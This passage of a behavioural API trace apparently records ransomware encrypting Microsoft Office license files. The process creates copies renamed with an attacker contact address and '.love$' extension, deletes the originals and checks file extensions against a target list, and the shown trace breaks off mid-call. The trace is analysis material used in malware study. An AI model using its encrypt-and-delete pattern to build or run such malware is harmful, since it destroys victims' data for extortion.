(lpString="O365HomePremR_SubTest4-ppd.xrm-ms") returned 33 [0276.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0276.069] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=23134) returned 1 [0276.069] CloseHandle (hObject=0x4b0) returned 1 [0276.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220 [0276.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0276.070] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.070] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0276.469] GetLastError () returned 0x0 [0276.469] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0276.472] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5a60, lpOverlapped=0x0) returned 1 [0276.481] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0276.481] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0276.482] SetEndOfFile (hFile=0x3f4) returned 1 [0276.482] CloseHandle (hObject=0x3f4) returned 1 [0276.482] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.482] SetEndOfFile (hFile=0x4b0) returned 1 [0276.488] CloseHandle (hObject=0x4b0) returned 1 [0276.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1 [0276.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.491] lstrlenW (lpString=".doc") returned 4 [0276.491] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.491] lstrlenW (lpString=".docx") returned 5 [0276.491] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.491] lstrlenW (lpString=".pdf") returned 4 [0276.491] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.491] lstrlenW (lpString=".xls") returned 4 [0276.491] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.491] lstrlenW (lpString=".xlsx") returned 5 [0276.491] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.491] lstrlenW (lpString=".ppt") returned 4 [0276.491] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.491] lstrlenW (lpString=".zip") returned 4 [0276.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.492] lstrlenW (lpString=".rar") returned 4 [0276.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.492] lstrlenW (lpString=".bz2") returned 4 [0276.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.492] lstrlenW (lpString=".7z") returned 3 [0276.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.493] lstrlenW (lpString=".dbf") returned 4 [0276.493] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.493] lstrlenW (lpString=".1cd") returned 4 [0276.493] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.493] lstrlenW (lpString=".jpg") returned 4 [0276.493] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.493] lstrlenW (lpString=".doc") returned 4 [0276.493] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString=".docx") returned 5 [0276.493] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.493] lstrlenW (lpString=".pdf") returned 4 [0276.493] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString=".xls") returned 4 [0276.493] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString=".xlsx") returned 5 [0276.493] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.493] lstrlenW (lpString=".ppt") returned 4 [0276.493] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.493] lstrlenW (lpString=".zip") returned 4 [0276.493] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.493] lstrlenW (lpString=".rar") returned 4 [0276.494] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.494] lstrlenW (lpString=".bz2") returned 4 [0276.494] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.494] lstrlenW (lpString=".7z") returned 3 [0276.494] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.494] lstrlenW (lpString=".dbf") returned 4 [0276.494] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.494] lstrlenW (lpString=".1cd") returned 4 [0276.494] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0276.494] lstrlenW (lpString=".jpg") returned 4 [0276.494] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.494] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.494] lstrlenW (lpString="O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 36 [0276.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0276.496] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11630) returned 1 [0276.496] CloseHandle (hObject=0x4b0) returned 1 [0276.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220 [0276.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0276.497] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.497] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0276.498] GetLastError () returned 0x0 [0276.498] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0276.501] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d70, lpOverlapped=0x0) returned 1 [0276.503] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0276.503] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11c, lpOverlapped=0x0) returned 1 [0276.503] SetEndOfFile (hFile=0x3f4) returned 1 [0276.503] CloseHandle (hObject=0x3f4) returned 1 [0276.503] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.503] SetEndOfFile (hFile=0x4b0) returned 1 [0276.556] CloseHandle (hObject=0x4b0) returned 1 [0276.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1 [0276.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.565] lstrlenW (lpString=".doc") returned 4 [0276.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.660] lstrlenW (lpString=".docx") returned 5 [0276.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.660] lstrlenW (lpString=".pdf") returned 4 [0276.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.660] lstrlenW (lpString=".xls") returned 4 [0276.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.660] lstrlenW (lpString=".xlsx") returned 5 [0276.660] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.660] lstrlenW (lpString=".ppt") returned 4 [0276.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.660] lstrlenW (lpString=".zip") returned 4 [0276.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.660] lstrlenW (lpString=".rar") returned 4 [0276.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString=".bz2") returned 4 [0276.661] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString=".7z") returned 3 [0276.661] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.661] lstrlenW (lpString=".dbf") returned 4 [0276.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.661] lstrlenW (lpString=".1cd") returned 4 [0276.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.661] lstrlenW (lpString=".jpg") returned 4 [0276.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.661] lstrlenW (lpString=".doc") returned 4 [0276.661] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString=".docx") returned 5 [0276.661] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.661] lstrlenW (lpString=".pdf") returned 4 [0276.661] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString=".xls") returned 4 [0276.661] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.661] lstrlenW (lpString=".xlsx") returned 5 [0276.661] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.662] lstrlenW (lpString=".ppt") returned 4 [0276.662] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.662] lstrlenW (lpString=".zip") returned 4 [0276.662] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.662] lstrlenW (lpString=".rar") returned 4 [0276.662] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.662] lstrlenW (lpString=".bz2") returned 4 [0276.662] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.662] lstrlenW (lpString=".7z") returned 3 [0276.662] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.662] lstrlenW (lpString=".dbf") returned 4 [0276.662] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.662] lstrlenW (lpString=".1cd") returned 4 [0276.662] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0276.662] lstrlenW (lpString=".jpg") returned 4 [0276.662] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.775] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.775] lstrlenW (lpString="O365HomePremR_SubTrial2-pl.xrm-ms") returned 33 [0276.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0276.776] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11183) returned 1 [0276.776] CloseHandle (hObject=0x57c) returned 1 [0276.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 0x220 [0276.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0276.776] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.777] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0276.778] GetLastError () returned 0x0 [0276.778] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2baf, lpOverlapped=0x0) returned 1 [0277.213] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0277.214] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0277.214] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0277.215] SetEndOfFile (hFile=0x574) returned 1 [0277.215] CloseHandle (hObject=0x574) returned 1 [0277.215] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0277.215] SetEndOfFile (hFile=0x57c) returned 1 [0277.219] CloseHandle (hObject=0x57c) returned 1 [0277.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 1 [0277.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.221] lstrlenW (lpString=".doc") returned 4 [0277.222] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString=".docx") returned 5 [0277.222] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.222] lstrlenW (lpString=".pdf") returned 4 [0277.222] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString=".xls") returned 4 [0277.222] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString=".xlsx") returned 5 [0277.222] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.222] lstrlenW (lpString=".ppt") returned 4 [0277.222] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.222] lstrlenW (lpString=".zip") returned 4 [0277.222] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString=".rar") returned 4 [0277.222] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString=".bz2") returned 4 [0277.222] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString=".7z") returned 3 [0277.222] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.222] lstrlenW (lpString=".dbf") returned 4 [0277.222] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.222] lstrlenW (lpString=".1cd") returned 4 [0277.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.223] lstrlenW (lpString=".jpg") returned 4 [0277.223] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.223] lstrlenW (lpString=".doc") returned 4 [0277.223] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString=".docx") returned 5 [0277.223] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.223] lstrlenW (lpString=".pdf") returned 4 [0277.223] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString=".xls") returned 4 [0277.223] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString=".xlsx") returned 5 [0277.223] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.223] lstrlenW (lpString=".ppt") returned 4 [0277.223] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.223] lstrlenW (lpString=".zip") returned 4 [0277.223] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString=".rar") returned 4 [0277.223] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString=".bz2") returned 4 [0277.223] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.223] lstrlenW (lpString=".7z") returned 3 [0277.223] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.223] lstrlenW (lpString=".dbf") returned 4 [0277.223] lstrcmpiW 